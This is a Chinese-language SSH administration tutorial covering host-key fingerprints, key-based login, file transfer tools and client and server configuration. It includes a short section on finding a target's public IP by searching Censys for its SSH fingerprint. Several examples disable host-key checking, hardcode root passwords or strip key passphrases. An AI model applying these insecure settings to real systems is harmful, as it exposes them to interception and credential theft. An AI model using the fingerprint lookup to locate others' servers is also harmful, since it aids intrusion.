256 MD5:a3:0a:34:dc:ba:ba:a1:27:59:06:84:2f:e1:ae:38:d5 15.207.14.66 (ED25519)

root@VM-8-13-ubuntu:~# ssh-keyscan -t ED25519 -p 22 15.207.14.66 2>/dev/null | ssh-keygen -E sha256 -lf -
256 SHA256:M0Trt36g+uzls7ri1/tUJBUL1h4CrgURYAF61EvTdn0 15.207.14.66 (ED25519)
root@VM-8-13-ubuntu:~# ssh-keyscan -t ED25519 -p 22 15.207.14.66 2>/dev/null | ssh-keygen -E md5 -lf -
256 MD5:a3:0a:34:dc:ba:ba:a1:27:59:06:84:2f:e1:ae:38:d5 15.207.14.66 (ED25519)

其他方法

[ec2-user@ip-172-31-5-34 ~]$ cat /etc/ssh/ssh_host_ed25519_key.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIP4wTKbQiByeDw1xrC4SNcc6x4XBVrj+aFp1iH7lIgZ [email protected]

#公钥md5
~# echo 'AAAAC3NzaC1lZDI1NTE5AAAAIIP4wTKbQiByeDw1xrC4SNcc6x4XBVrj+aFp1iH7lIgZ' |base64 -d | md5sum
a30a34dcbabaa1275906842fe1ae38d5  -

#公钥sha256
## 先获取到 hash 值
~# echo 'AAAAC3NzaC1lZDI1NTE5AAAAIIP4wTKbQiByeDw1xrC4SNcc6x4XBVrj+aFp1iH7lIgZ' |base64 -d | shasum -a 256 -b
3344ebb77ea0faece5b3bae2d7fb5424150bd61e02ae051160017ad44bd3767d *-

## 再获取公钥指纹
~# echo 'AAAAC3NzaC1lZDI1NTE5AAAAIIP4wTKbQiByeDw1xrC4SNcc6x4XBVrj+aFp1iH7lIgZ' |base64 -d | shasum -a 256 -b | awk '{print $1}' | xxd -r -p | base64|cut -d '=' -f1
M0Trt36g+uzls7ri1/tUJBUL1h4CrgURYAF61EvTdn0
指纹信息-ssh指纹收集

ssh sha256大概率是全球唯一值,因此若目标开放SSH服务到公网,这个值极有可能被网络空间搜索引擎抓取,从而可以利用这个Hash检索出其公网IP.

范例:获取Hash值

#计算SHA256,注意到该Hash的编码方式去掉了最后的"="号,需要补足
root@VM-8-13-ubuntu:~# echo 'M0Trt36g+uzls7ri1/tUJBUL1h4CrgURYAF61EvTdn0''=' |base64 -d |xxd -p -c 100
3344ebb77ea0faece5b3bae2d7fb5424150bd61e02ae051160017ad44bd3767d

Sha256 Hash检索网站:https://search.censys.io/data

搜索语法:

services.ssh.server_host_key.fingerprint_sha256=3344ebb77ea0faece5b3bae2d7fb5424150bd61e02ae051160017ad44bd3767d

openssh软件包

OpenSSH是SSH (Secure SHell)协议的免费开源实现,一般在各种Linux版本中 会默认安装,基于C/S结构

Openssh软件相关包:

  • openssh 通用包
  • openssh-clients
  • openssh-server

范例:相关包

[root@centos8 ~]#rpm -qa openssh*
openssh-7.8p1-4.el8.x86_64
openssh-server-7.8p1-4.el8.x86_64
openssh-clients-7.8p1-4.el8.x86_64

[root@centos8 ~]#rpm -ql openssh-server
/etc/pam.d/sshd
/etc/ssh/sshd_config
/etc/sysconfig/sshd
/usr/lib/systemd/system/sshd-keygen.target
/usr/lib/systemd/system/[email protected]
/usr/lib/systemd/system/sshd.service
/usr/lib/systemd/system/sshd.socket
/usr/lib/systemd/system/[email protected]
/usr/lib/tmpfiles.d/openssh.conf
/usr/libexec/openssh/sshd-keygen
/usr/sbin/sshd


[root@centos8 ~]#rpm -ql openssh-clients
/etc/ssh/ssh_config
/etc/ssh/ssh_config.d
/etc/ssh/ssh_config.d/05-redhat.conf
/usr/bin/scp
/usr/bin/sftp
/usr/bin/ssh
/usr/bin/ssh-add
/usr/bin/ssh-agent
/usr/bin/ssh-copy-id
/usr/bin/ssh-keyscan

[root@centos8 ~]#rpm -ql openssh
/etc/ssh
/etc/ssh/moduli
/usr/bin/ssh-keygen
/usr/libexec/openssh
/usr/libexec/openssh/ssh-keysign

服务器:/usr/sbin/sshd

Unit 文件:/usr/lib/systemd/system/sshd.service

客户端:

  • Linux Client: ssh, scp, sftp,slogin
  • Windows Client:xshell, MobaXterm,putty, securecrt, sshsecureshellclient

ssh客户端命令

官方文档:https://man.openbsd.org/ssh

ssh命令是ssh客户端,允许实现对远程系统经验证地加密安全访问

当用户远程连接ssh服务器时,会复制ssh服务器 /etc/ssh/ssh_host*key.pub 文件中的公钥到客户机d的 ~./ssh/know_hosts 中。下次连接时,会自动匹配 相应私钥,不能匹配,将拒绝连接

ssh客户端配置文件 :/etc/ssh/ssh_config

主要配置

#StrictHostKeyChecking ask
首次登录不显示检查提示
StrictHostKeyChecking no

# IdentityFile ~/.ssh/id_rsa
# IdentityFile ~/.ssh/id_dsa
# IdentityFile ~/.ssh/id_ecdsa
# IdentityFile ~/.ssh/id_ed25519
# Port 22

# 指定客户端访问端口
cat <<\EOF >> ~/.ssh/config
host git.cn
hostname git.cn
port 11822
EOF

范例:禁止首次连接的询问过程

[root@centos7 ~]#sed -i.bak '/StrictHostKeyChecking/s/.*/StrictHostKeyChecking no/' /etc/ssh/ssh_config

格式:

ssh [user@]host [COMMAND]
ssh [-l user] host [COMMAND]

常见选项

-p port:远程服务器监听的端口
-b 指定连接的源IP
-v 调试模式,"-vvv"可更详细
-C 压缩方式
-X 支持x11转发
-t:强制伪tty分配,如:ssh -t remoteserver1 ssh -t remoteserver2 ssh remoteserver3
-o option 指定ssh客户端配置 
   StrictHostKeyChecking=no 禁止首次连接的询问
   PreferredAuthentications=publickey 强制使用公钥验证

-i <file> 指定私钥文件路径,实现基于key验证,默认使用文件: ~/.ssh/id_dsa,~/.ssh/id_ecdsa, ~/.ssh/id_ed25519,~/.ssh/id_rsa等

其它选项
-1:强制使用ssh协议版本1;
-2:强制使用ssh协议版本2;
-4:强制使用IPv4地址;
-6:强制使用IPv6地址;
-A:开启认证代理连接转发功能;
-a:关闭认证代理连接转发功能;
-T: 禁用tty分配(pseudo-terminal allocation)
-F:指定ssh指令的配置文件;
-f:后台执行ssh指令;
-g:允许远程主机连接主机的转发端口;
-i:指定身份文件;
-l user: 以指定的用户登录远程主机;
-N:不执行远程指令;
-n: 重定向stdin为/dev/null,用于配合-f后台任务。能解决 while 循环中使用ssh问题
-L参数会在本地监听一个端口,转发数据到远程主机上
-q:静默模式;
-x:关闭X11转发功能;
-y:开启信任X11转发功能
-Y:支持信任的X11转发;

#ssh执行为后台任务: ssh -qTfNn用于建立纯端口转发用途的ssh连接
-q: quiet模式,忽视大部分的警告和诊断信息(比如端口转发时的各种连接错误)
-T: 禁用tty分配(pseudo-terminal allocation)
-f: 登录成功后即转为后台任务执行
-N: 不执行远程命令(专门做端口转发)
-n: 重定向stdin为/dev/null,用于配合-f后台任务

范例: -t强制伪tty分配 . 从centos8连接到cento6,中间经过多台服务器跳转

[root@centos8 ~]#ssh -t 10.0.0.8 ssh -t 10.0.0.77 ssh 10.0.0.6
[email protected]'s password: 
[email protected]'s password: 
[email protected]'s password: 
Last login: Thu May 21 22:17:57 2020 from 10.0.0.77
[root@centos6 ~]#

本地打包远程传送并解压

tar -cf - *|ssh -t [email protected] "cd /opt/project/client/cst-wallet-sdk/staging$pdate; tar -xf -"

范例:远程执行命令,ssh客户端禁止首次连接的询问过程

[root@centos6 ~]#ssh 10.0.0.8 "sed -i.bak '/StrictHostKeyChecking/s/.*/StrictHostKeyChecking no/' /etc/ssh/ssh_config"
[email protected]'s password: 
[root@centos6 ~]#

范例:在远程主机运行本地shell脚本(很实用)

[root@centos8 ~]#hostname -I
10.0.0.88 192.168.122.1 
[root@centos8 ~]#cat test.sh 
#!/bin/bash
hostname -I
[root@centos8 ~]#ssh 10.0.0.8 /bin/bash < test.sh 
[email protected]'s password: 
10.0.0.8 192.168.122.1 

范例:lastb 远程登录失败的记录

[root@centos8 ~]#lastb -f btmp-test | awk '{print $3}'|sort |uniq -c|sort -nr|head
86294 58.218.92.37
43148 58.218.92.26
18036 112.85.42.201
10501 111.26.195.101
10501 111.231.235.49
10501 111.204.186.207
10501 111.11.29.199
10499 118.26.23.225
 6288 42.7.26.142
 4236 58.218.92.30
[root@centos8 ~]#lastb -f btmp-test | awk '{ip[$3]++}END{for(i in ip){print ip[i],i}}'|sort -nr|head
86294 58.218.92.37
43148 58.218.92.26
18036 112.85.42.201
10501 111.26.195.101
10501 111.231.235.49
10501 111.204.186.207
10501 111.11.29.199
10499 118.26.23.225
 6288 42.7.26.142
 4236 58.218.92.30

范例:通过SSH将MySQL数据库复制到新服务器

# 1. 通过SSH将MySQL数据库复制到新服务器
#通过压缩的SSH隧道Dump一个MySQL数据库,将其作为输入传递给mysql命令,我认为这是迁移数据库到新服务器最快最好的方法。
mysqldump –add-drop-table –extended-insert \
–force –log-error=error.log \
-uUSER -pPASS OLD_DB_NAME \
| ssh -C user@newhost "mysql -uUSER -pPASS NEW_DB_NAME"


# 2. 实时SSH网络吞吐量测试
# 通过SSH连接到主机,显示实时的传输速度,将所有传输数据指向/dev/null,需要先安装pv
yes | pv | ssh 主机 "cat > /dev/null"
0:00:18 [ 103MiB/s]

ssh登录验证方式介绍

ssh服务登录的验证方式

  • 用户/口令
  • 基于密钥

基于用户和口令登录验证

image-20210120191707930.webp
  1. 客户端发起ssh请求,服务器会把自己的公钥发送给用户
  2. 用户会根据服务器发来的公钥对密码进行加密
  3. 加密后的信息回传给服务器,服务器用自己的私钥解密,如果密码正确,则用户登录成功

基于密钥的登录方式 (生产环境经常用到)

image-20210120191725505.webp
  1. 首先在客户端生成一对密钥( ssh-keygen )
  2. 并将客户端的公钥 ssh-copy-id 拷贝到服务端 ~/.ssh 目录
  3. 当客户端再次发送一个连接请求,包括ip、用户名 。 如 ssh [email protected]
  4. 服务端得到客户端的请求后,会到 authorized_keys 中查找,如果有响应 的IP和用户,就会随机生成一 个字符串,例如:msg
  5. 服务端将使用客户端拷贝过来的公钥进行加密,然后发送给客户端
  6. 得到服务端发来的消息后,客户端会使用私钥进行解密,然后将解密后的字符串发送给服务端
  7. 服务端接受到客户端发来的字符串后,跟之前的字符串进行对比,如果一致,就允许免密码登录

实现基于密钥的登录方式

第1步:在客户端生成密钥对

ssh-keygen -t rsa [-P 'password'] [-f “~/.ssh/id_rsa"]
#可以直接执行ssh-keygen ,后面的一串可以生成
#默认rsa加密,~/.shh是默认路径,密码视情况而定

选项
-t  {rsa|ecdsa|dsa}:公钥加密算法类型;
-b bits:指明密钥长度;
-P passphrase:私钥加密密码; -P '' 设置空密码
-f output_keyfile:生成密钥的保存位置;
-C 注释

注意事项
.ssh目录的属主、属组使用当前用户与用户组
.ssh目录的权限请保持700
authorized_keys的权限为644
id_rsa的权限为600
id_rsa.pub的权限为644
检查用户$HOME目录权限必须为755

范例:

# 提定位置转出私钥,同时会生成 id_rsa.pub 公钥。注释信息为 ops-deploy
su - xcw -c "ssh-keygen -t rsa -P '' -f /home/xcw/.ssh/id_rsa" -C "ops-deploy"

第2步:把公钥文件传输至远程服务器对应用户的家目录

ssh-copy-id [-i [identity_file]]  [-p port]  [-o ssh_option]  [user@]host

# 内部逻辑
cat ~/.ssh/id_rsa.pub | ssh $1 "umask 077; test -d ~/.ssh || mkdir ~/.ssh ; cat >> ~/.ssh/authorized_keys || exit 1"

其它:

重设私钥口令:

ssh-keygen –p

验证代理(authentication agent)保密解密后的密钥,口令就只需要输入一次, 在GNOME中,代理被自动提供给root用户

#启用代理
ssh-agent bash
#钥匙通过命令添加给代理
ssh-add

在SecureCRT或Xshell实现基于key验证

在SecureCRT工具—>创建公钥—>生成Identity.pub文件

转化为openssh兼容格式(适合SecureCRT,Xshell不需要转化格式),并复制到 需登录主机上相应文件authorized_keys中,注意权限必须为600,在需登录的ssh 主机上执行:

ssh-keygen -i -f Identity.pub >> .ssh/authorized_keys

范例: 实现基于 key 验证

# 1. 生成公钥私钥对
[root@centos8 ~]#ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):  #回车,接受默认值
Enter passphrase (empty for no passphrase):   #回车,接受默认值,空密码
Enter same passphrase again:   #回车,接受默认值

[root@centos8 ~]#ll .ssh/
total 12
-rw------- 1 root root 2602 May 22 22:40 id_rsa
-rw-r--r-- 1 root root  566 May 22 22:40 id_rsa.pub
[root@centos8 ~]#cat .ssh/id_rsa.pub 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDbzJCv07jz13pWXljBT5HdWQoK71Oa537kxQ5e4uRbvUGYHfOei5YKX2Ke7f9pm5OycPgYId6fjAphcl7FkqF03SNIrds8HfLA2BbyXLP76hh/XzyK1lAXlMQL964kCtEdllHxBM+Z6ymAsepDj4bYaQx5jyYW66e/sbjNbQlqtnevWd3W/9ifd9xC9RdU/xEFxiphCEBXNo9hS8zEFhqaXqHHJkWfTyb8O735GMC8yDXtUyAs+zNVDY7k7EDSGMD7t25R5DcBXI9rrCQICoIHU/UWAiXeHu8To2ryr7j0g4UeI8DvksTo3BSwLOTzYb8bM41s1ZiP4gwtlgsIP1F1fJKQi1xVmQsL+h44pN/QGvPUEOEk5CvCD1SRu3gOrkDNhA6Cwpq9HDGpF3KkbCuTXU0ZL4b4O6+6zD8jemI5pfBzrhp05t/X5ZX10BGrqNDb0r22jgwy8E8CGUEuSt0OkJQR07W0l1/m/ivRvIufb7C1B/ATKiaLd4ZLPXGlNJc= root@centos8
[root@centos8 ~]#cat .ssh/id_rsa

# 2. 把公钥文件传输至远程服务器对应用户的家目录
[root@centos8 ~]#ssh-copy-id [email protected]
[email protected]’s password:  #输入远程用户的密码


[root@Centos7 ~]#ll .ssh/
total 8
-rw------- 1 root root 566 May 22 22:42 authorized_keys
[root@Centos7 ~]#cat .ssh/authorized_keys 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDbzJCv07jz13pWXljBT5HdWQoK71Oa537kxQ5e4uRbvUGYHfOei5YKX2Ke7f9pm5OycPgYId6fjAphcl7FkqF03SNIrds8HfLA2BbyXLP76hh/XzyK1lAXlMQL964kCtEdllHxBM+Z6ymAsepDj4bYaQx5jyYW66e/sbjNbQlqtnevWd3W/9ifd9xC9RdU/xEFxiphCEBXNo9hS8zEFhqaXqHHJkWfTyb8O735GMC8yDXtUyAs+zNVDY7k7EDSGMD7t25R5DcBXI9rrCQICoIHU/UWAiXeHu8To2ryr7j0g4UeI8DvksTo3BSwLOTzYb8bM41s1ZiP4gwtlgsIP1F1fJKQi1xVmQsL+h44pN/QGvPUEOEk5CvCD1SRu3gOrkDNhA6Cwpq9HDGpF3KkbCuTXU0ZL4b4O6+6zD8jemI5pfBzrhp05t/X5ZX10BGrqNDb0r22jgwy8E8CGUEuSt0OkJQR07W0l1/m/ivRvIufb7C1B/ATKiaLd4ZLPXGlNJc= root@centos8

# 3. 测试
[root@centos8 ~]#ssh 10.0.0.77
Last login: Fri May 22 18:45:18 2020 from 10.0.0.8
[root@Centos7 ~]#exit
logout
Connection to 10.0.0.77 closed.
[root@centos8 ~]#scp /etc/fstab 10.0.0.77:/data
fstab                                     100%  709   202.1KB/s   00:00   

#对私钥加密
[root@centos8 ~]#ssh-keygen -p
Enter file in which the key is (/root/.ssh/id_rsa): 
Key has comment 'root@centos8'
Enter new passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved with the new passphrase.

[root@centos8 ~]#ssh 10.0.0.77
Enter passphrase for key '/root/.ssh/id_rsa': #输入私钥的密码
Last login: Fri May 22 23:20:50 2020 from 10.0.0.8
[root@centos7 ~]#exit
logout
Connection to 10.0.0.77 closed.

#启用ssh代理,临时性的,exit即可退出
[root@centos8 ~]#ssh-agent bash # 启动并进入代理程序环境里
[root@centos8 ~]#ps aux |grep agent
root       5931  0.0  0.0  29444   548 ?        Ss   23:48   0:00 ssh-agent bash
root       5958  0.0  0.0  12108   964 pts/0    S+   23:48   0:00 grep --color=auto agent

[root@centos8 ~]#ssh-add # 将密码托管给代理服务
Identity added: /root/.ssh/id_rsa (root@centos8)
[root@centos8 ~]#ssh 10.0.0.77
Last login: Fri May 22 23:43:11 2020 from 10.0.0.8

范例:基于key验证实现批量主机管理

[root@centos8 ~]#cat hosts.txt
10.0.0.7
10.0.0.6
[root@centos8 ~]#for i in `cat hosts.txt`;do ssh $i hostname -I ;done
10.0.0.7
10.0.0.6

范例:记住私钥密码 ssh-add

# 手动加载一次私钥
ssh-add ~/path/to/id_rsa.pem
此时会提示输入 passphrase:输入 `yaaa`。
加载成功后,本次终端会话内,执行 `ssh bp` 不再要密码。

# 查看已加载密钥
ssh-add -l

# 删除单个密钥
ssh-add -d ~/path/to/id_rsa.pem
# 清空agent全部密钥
ssh-add -D


# 让 macOS 钥匙串自动记住
ssh-add --apple-use-keychain ~/path/to/id_rsa.pem
## 查看钥匙串里保存的 passphrase(图形界面)
1. `Command+空格` 搜索 **钥匙串访问 (Keychain Access)**
2. 左上角选「登录」钥匙串,搜索框搜 `SSH`
3. 会出现条目:`SSH:~/path/to/id_rsa.pem`
4. 双击这条,勾选「显示密码」,输入本机开机密码,就能看到保存的 passphrase `yaaa`GitHub Doc...。
## 彻底从钥匙串删掉保存的 passphrase(重启后需要重新输入密码)
ssh-add --apple-delete-keychain ~/path/to/id_rsa.pem

## 修改私钥 passphrase,旧密码换成新密码
ssh-keygen -p -f ~/path/to/id_rsa.pem
## 把新密码存进钥匙串:
ssh-add --apple-use-keychain ~/path/to/id_rsa.pem

范例:实现xshell的基于key验证

image-20210120194553421.webp
image-20210120194615981.webp
image-20210120194645851.webp
image-20210120194720098.webp
image-20210120194731859.webp
image-20210120194747633.webp
[root@centos8 ~]#rz -E
rz waiting to receive.
[root@centos8 ~]#ls
 anaconda-ks.cfg  id_rsa_1024(xshell).pub
[root@centos8 ~]#cat id_rsa_1024(xshell).pub
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAw4zT+e9iFU691e+oRs32VMZppWm9EKK11HqogMqIQ8sQkun4lOCdE8nbsrSFTESV/x9yztRHwWTDU7366t0WfTC549MXxpu921+IZd5JzkOHuc8D+AxNPLRp/F4kZTE2wlwuRaawU2OFsKf9whLwFR52JqciTdueGgbzA2OB4Q8=
[root@centos8 ~]#mkdir .ssh ; chmod 700 .ssh
[root@centos8 ~]#cat id_rsa_1024(xshell).pub > .ssh/authorized_keys
[root@centos8 ~]#chmod 600 .ssh/authorized_keys
[root@centos8 ~]#ll .ssh/authorized_keys
-rw------- 1 root root 208 May 23 00:03 .ssh/authorized_keys

使用xshell连接

image-20210409153924877.webp
image-20210409153949139.webp
image-20210409154023483.webp

范例:expect实现批量基于ssh的key部署

[root@centos8 ~]#cat push_ssh_key.sh
#!/bin/bash
PASS=1433236299
rpm -q expect &> /dev/null || yum install -y expect &> /dev/null
ssh-keygen -t rsa -P "" -f /root/.ssh/id_rsa &> /dev/null && echo "ssh key is created"
while read IP ;do
expect <<EOF &> /dev/null   #或者 expect &> /dev/null <<EOF
set timeout 20
spawn ssh-copy-id -i /root/.ssh/id_rsa.pub root@$IP
expect {
    "yes/no" { send "yes/no";exp_continue }
    "password" { send "$PASS\n" }
}
expect eof
EOF
echo $IP is ready
done < hosts.txt

[root@centos8 ~]#cat hosts.txt 
10.0.0.6
10.0.0.77
[root@centos8 ~]#bash push_ssh_key.sh 
ssh key is created
10.0.0.6 is ready
10.0.0.77 is ready
[root@centos8 ~]#ssh 10.0.0.6
Last login: Fri May 22 18:53:04 2020 from 10.0.0.1
[root@centos6 ~]#exit
logout
Connection to 10.0.0.6 closed.
[root@centos8 ~]#ssh 10.0.0.77
Last login: Sat May 23 15:20:19 2020 from 10.0.0.1
[root@Centos7 ~]#exit
logout
Connection to 10.0.0.77 closed.

范例:如何实现三个主机之间互相的key验证

通过私钥生成公钥
chmod 600 id_rsa
ssh-keygen -y -f /path/to/private_key > /path/to/public_key.pub
chmod 644 id_rsa.pub

生成无 passphrase 的私钥替换 Jenkins 凭据

# 验证私钥密码
ssh-keygen -y -f xxx # 密码正确:输出对应的公钥

# 导出带密码私钥,去除passphrase,输出新无密码私钥
ssh-keygen -p -f id_rsa_gitci -P "旧私钥密码" -N ""

# -P:原 passphrase
# -N "":设置新密码为空

得到新私钥( 无密码 ),公钥不变,Git 服务器 authorized_keys 不需要改动 ,公钥是一样的。

私钥格式转换

参考:https://www.mayanpeng.cn/archives/132.html

生成新的RSA-PEM格式公私密钥

ssh-keygen -m PEM -t rsa -b 4096

转换-Mac系统

# 安装 putty
brew install putty

#通过将密钥转换为PuTTy ppk格式然后再转换为RSA-PEM
# 转换为ppk格式
puttygen demo -o demo.ppk
# 转换为ras-pem格式
puttygen demo.ppk -O private-openssh -o demo.pem

转换-windos

安装putty,利用puttygen转换

其它ssh客户端工具

scp命令
scp [options] SRC... DEST/
#前面是源地址,后面是目标地址

两种方式:

scp [options] [user@]host:/sourcefile /destpath # 从远程拉取 远程有读权限
scp [options] /sourcefile [user@]host:/destpath # 推送到远程 远程有写权限

选项:

常用选项
-C 压缩数据流
-r 递归复制
-p 保持原文件的属性信息
-q 静默模式
-P PORT 指明remote host的监听的端口

其它选项:
-1:使用ssh v1版本,这是默认使用协议版本
-2:使用ssh v2版本
-l limit:限制拷贝速度,Kbit/s.
-o ssh_option:指定ssh连接时的特殊选项,一般用不上。偶尔在连接过程中等待提示输入密码较慢时,可以设置GSSAPIAuthentication为no
-v:输出详细信息,可以用来调试或查看scp的详细过程,分析scp的机制

范例

1.把本地文件/home/a.tar.tz拷贝到远程服务器192.168.0.2上的/home/tmp,连接时使用远程的root用户:
scp /home/a.tar.tz [email protected]:/home/tmp/

2.目标主机不写路径时,表示拷贝到对方的家目录下:
scp /home/a.tar.tz [email protected]

3.把远程文件/home/a.tar.gz拷贝到本机:
scp [email protected]:/home/a.tar.tz # 不接本地目录表示拷贝到当前目录
scp [email protected]:/home/a.tar.tz /tmp # 拷贝到本地/tmp目录下

4.拷贝远程机器的/home/目录到本地/tmp目录下。
scp -r [email protected]:/home/ /tmp

5.从远程主机192.168.100.60拷贝文件到另一台远程主机192.168.100.62上。
scp [email protected]:/tmp/copy.txt [email protected]:/tmp
sftp命令

交互式文件传输工具,用法和传统的ftp工具相似,利用ssh服务实现安全的文件上传和下载

使用ls cd mkdir rmdir pwd get put等指令,可用?或help获取帮助信息

sftp [user@]host
sftp> help
rsync 命令

基于ssh和rsync协议实现高效率的远程系统之间复制文件,使用安全的shell连 接做为传输方式,比scp更快,基于增量数据同步,即只复制两方不同的文件, 此工具来自于rsync包

注意:通信两端主机都需要安装rsync软件

# 有无 / 问题
rsync -av /etc server1:/tmp     #复制目录和目录下文件
rsync -av /etc/ server1:/tmp    #只复制目录下文件

常用选项:

-n 模拟复制过程
-v 显示详细过程
-r 递归复制目录树
-p 保留权限
-t 保留修改时间戳
-g 保留组信息
-o 保留所有者信息
-l 将软链接文件本身进行复制(默认)
-L 将软链接文件指向的文件复制
-u 如果接收者的文件比发送者的文件较新,将忽略同步
-z 压缩,节约网络带宽
-a 存档,相当于–rlptgoD,但不保留ACL(-A)和SELinux属性(-X)
--delete 源数据删除,目标数据也自动同步删除

范例:更新有变化的文件,-u不覆盖新文件 --delete 同步删除

[root@centos8 ~]#rsync -auv --delete /data/test 10.0.0.7:/data

ssh_config–OpenSSH 客户端配置文件

参考: https://linux.die.net/man/5/ssh_config

ssh 从以下来源获取配置数据次序:

  • 命令行选项
  • 用户的配置文件 (~/.ssh/config)
  • 系统范围的配置文件 (/etc/ssh/ssh_config)

.ssh/config

Host *
  StrictHostKeyChecking no # no 禁止首次连接的询问; 默认yes 不自动将主机密钥添加到 ~/.ssh/known_hosts 文件
  IgnoreUnknown UseKeychain
  UseKeychain yes
  AddKeysToAgent yes
  IdentityFile ~/.ssh/id_rsa

常用配置

Host
指定主机关键词,名称自定义。连接时 ssh 主机关键词 。可以是主机名、IP 地址,也可以使用通配符。* 代表所有主机,!否定匹配。匹配规则请参阅 PATTERNS
HostName
要登录的真实主机名。默认为命令行上给出的名称。
User
指定要登录的用户。默认为命令行上给出的用户
Port
指定远程主机的 SSH 服务端口,默认端口为 22
IdentityFile
指定用于身份验证的私钥文件路径。多个 IdentityFile 指令将添加到尝试的标识列表中
StrictHostKeyChecking
no 禁止首次连接的询问; 默认yes 不自动将主机密钥添加到 ~/.ssh/known_hosts 文件
RequestTTY
指定是否为会话请求伪 tty
  • yes:始终请求分配一个 TTY,即使在执行非交互式命令时也是如此。这在需要在远程主机上运行需要 TTY 的命令(如 sudo)时非常有用。
  • no:从不请求分配 TTY,即使在执行交互式命令时也不会分配 TTY。这在执行一些不需要 TTY 的脚本或命令时可以提高效率。
  • force:强制分配一个 TTY,即使在执行非交互式命令时也会分配 TTY。这与 yes 类似,但更严格。
  • auto:默认值。根据需要自动决定是否分配 TTY。如果执行的是交互式命令,则分配 TTY;如果执行的是非交互式命令,则不分配 TTY。
RemoteCommand
指定在连接到远程主机时自动执行的命令
ProxyCommand
指定用于连接到服务器的命令。参数接受 TOKENS 部分中描述的令牌。可以方便地通过跳板机连接目标主机
  • 如通过代理连接到A
    • ssh -oProxyCommand="ssh -q -W %h:%p JumpIP" -p 22 HostA
      • -q:静默模式
      • -W %h:%p:将目标主机的 IP 地址(%h)和端口(%p)转发到跳板机。%h 和 %p 会被 ssh 自动替换为目标主机的实际 IP 地址和端口。
      • JumpIP:跳板机的主机名或 IP 地址。
    • ssh -oProxyCommand="ssh JumpIP 'nc %h %p' " -p 22 HostA
LocalCommand
本地命令
ServerAliveInterval
指定客户端定期向服务器发送心跳信号的时间间隔(单位为秒),默认值为 0,表示这些消息不会发送到服务器
Compression
指定是否启用数据压缩。对于带宽较低的网络连接,启用压缩可以提高传输效率。默认no

范例:远程切换root

Host 120
     StrictHostKeyChecking no
     HostName 172.21.39.120
     User wvalianty
     IdentityFile ~/.ssh/wvalianty.pem
     ProxyCommand ssh -q -W %h:%p aws_entry #-q only required on Mac
     RequestTTY yes
     RemoteCommand sudo su - #ssh 172.21.38.163 -o "RequestTTY=yes" sudo su -
     
Host Bombay
        HostName 13.126.25.152
        User jumper
        IdentityFile /root/jumper.pem
        ServerAliveInterval 60
        Compression yes
Host 172.21.*
        StrictHostKeyChecking no
        ProxyCommand ssh -q -W %h:%p Bombay
        User cc
        IdentityFile /root/cc.pem
        ServerAliveInterval 60
        Compression yes

LocalCommand

Specifies a command to execute on the local machine after successfully connecting to the server. The command string extends to the end of the line, and is executed with the user's shell. The following escape character substitutions will be performed: '%d' (local user's home directory), '%h' (remote host name), '%l' (local host name), '%n' (host name as provided on the command line), '%p' (remote port), '%r' (remote user name) or '%u' (local user name). This directive is ignored unless

sshpass -p 123456 ssh -o StrictHostKeyChecking=no [email protected]

sshd_config–OpenSSH 服务端配置文件

官方文档:https://man.openbsd.org/sshd_config

服务器端:sshd

服务器端的配置文件: /etc/ssh/sshd_config

服务器端的配置文件帮助:man 5 sshd_config

常用参数:

#Port 22                # 服务端SSH端口,可以指定多条表示监听在多个端口上
#ListenAddress 0.0.0.0  # 监听的IP地址。0.0.0.0表示监听所有IP
Protocol 2              # 使用SSH 2版本
 

#----ssh连接私钥保存位置
# HostKey for protocol version 1
#HostKey /etc/ssh/ssh_host_key      # SSH 1保存位置/etc/ssh/ssh_host_key
# HostKeys for protocol version 2
#HostKey /etc/ssh/ssh_host_rsa_key  # SSH 2保存RSA位置/etc/ssh/ssh_host_rsa _key
#HostKey /etc/ssh/ssh_host_dsa_key  # SSH 2保存DSA位置/etc/ssh/ssh_host_dsa _key
 

#----杂项配置
#PidFile /var/run/sshd.pid        # 服务程序sshd的PID的文件路径
#ServerKeyBits 1024               # 服务器生成的密钥长度
#SyslogFacility AUTH              # 使用哪个syslog设施记录ssh日志。日志路径默认为/var/log/secure
#LogLevel INFO                    # 记录SSH的日志级别为INFO
Banner /path/file                 # 登录后提示信息


#----以下项影响认证速度
#UseDNS yes                       # 指定是否将客户端主机名解析为IP,以检查此主机名是否与其IP地址真实对应。默认yes。
                                  # 由此可知该项影响的是主机验证阶段。建议在未配置DNS解析时,将其设置为no,否则主机验证阶段会很慢
#GSSAPIAuthentication no          # 是否开启GSSAPI身份认证机制,默认为yes


#----以下是和安全有关的配置
#PermitRootLogin yes              # 是否允许root用户登录
#PubkeyAuthentication yes         # 是否开启基于key验证
#AuthorizedKeysFile  .ssh/authorized_keys  # 基于公钥认证机制时,来自客户端的公钥的存放位置
PasswordAuthentication yes        # 是否使用用户名和密码连接,如果使用密钥对验证可以关了它
#PermitEmptyPasswords no          # 是否允许空密码,如果上面的那项是yes,这里最好设置no
#MaxSessions 10                   # 同一个连接最大会话
#LoginGraceTime 2m                # 身份验证阶段的超时时间,若在此超时期间内未完成身份验证将自动断开
#MaxAuthTries 6                   # 指定每个连接最大允许的认证次数。默认值是6。
                                  # 如果失败认证次数超过该值一半,将被强制断开,且生成额外日志消息。
MaxStartups 10                    # 未认证连接最大值,默认值10。未验证即连接上不用输入密码
#MaxStartups 10:30:200            #表示从第10个连接开始以30%的概率(递增)拒绝新连接,直到连接数达到200为止
ClientAliveInterval 10            #服务器端向客户端请求消息 的时间间隔,单位:秒。0为不发送
ClientAliveCountMax 3             #服务器发出请求后客户端没有响应的次数达到一定值, 就自动断开,默认3

#以下可以限制可登录用户的办法:
AllowUsers user1 user2 user3
DenyUsers
AllowGroups
DenyGroups


#----以下可以自行添加到配置文件
DenyGroups  hellogroup testgroup  # 表示hellogroup和testgroup组中的成员不允许使用sshd服务,即拒绝这些用户连接
DenyUsers   hello test            # 表示用户hello和test不能使用sshd服务,即拒绝这些用户连接
 

#----以下一项和远程端口转发有关
###################################
#GatewayPorts no                  # 设置为yes表示sshd允许被远程主机所设置的本地转发端口绑定在非环回地址上
                                  # 默认值为no,表示远程主机设置的本地转发端口只能绑定在环回地址上,见后文"远程端口转发"

常用配置

